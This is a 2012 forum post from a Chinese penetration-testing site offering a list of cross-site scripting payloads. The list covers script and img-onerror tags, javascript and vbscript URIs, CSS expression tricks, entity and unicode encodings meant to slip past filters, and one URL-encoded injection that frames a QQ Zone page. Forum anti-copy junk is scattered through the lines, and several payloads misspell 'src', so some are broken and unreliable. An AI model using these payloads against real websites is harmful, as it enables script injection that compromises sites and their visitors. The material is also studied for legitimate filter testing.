中国网络渗透测试联盟

标题: 跨站语句大全 [打印本页]

作者: admin    时间: 2012-9-13 17:15
标题: 跨站语句大全
<script>alert("跨站")</script>    (最常用)/ [, e0 o6 U( j
<img scr=javascript:alert("跨站")></img>1 z% o' o4 V6 i
<img scr="javascrip&#116&#58 alert(/跨站/)></img>. H3 [8 p: |* u2 g) w* h" t
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
' Q, k% ?8 d6 Q6 J5 [# L  `<img scr="#" onerror=alert(/跨站/)></img>
: t  f4 F* r$ b7 H$ m<img scr="#" style="xss:expression(alert(/xss/));"></img>, \# u4 d  R0 P/ h5 Z
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释), j" Z# S' C7 O8 I+ u
<img src=vbscript:msgbox ("xss")></img>
% [# L( V! ~: w<style> input {left:expression (alert('xss'))}</style>
! L. {! N/ f% l<div style={left:expression (alert('xss'))}></div>* ?% s1 N$ _, D0 A6 `
<div style={left:exp/* */ression (alert('xss'))}></div>+ o; [+ s2 S# h7 _* ?" N- y. K. n
<div style={left:\0065\0078ression (alert('xss'))}></div># `$ R+ X7 u, F/ Y% C! Z% C$ |
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>9 N) R/ h. L5 R
unicode <div style="{left:expRessioN (alert('xss'))}">
% K+ y7 S; |( O# A3 F! K6 s$ c$ J5 g3 f; n) _4 H/ a: d  b0 b
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["* z( `6 J5 H( N& z/ P





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2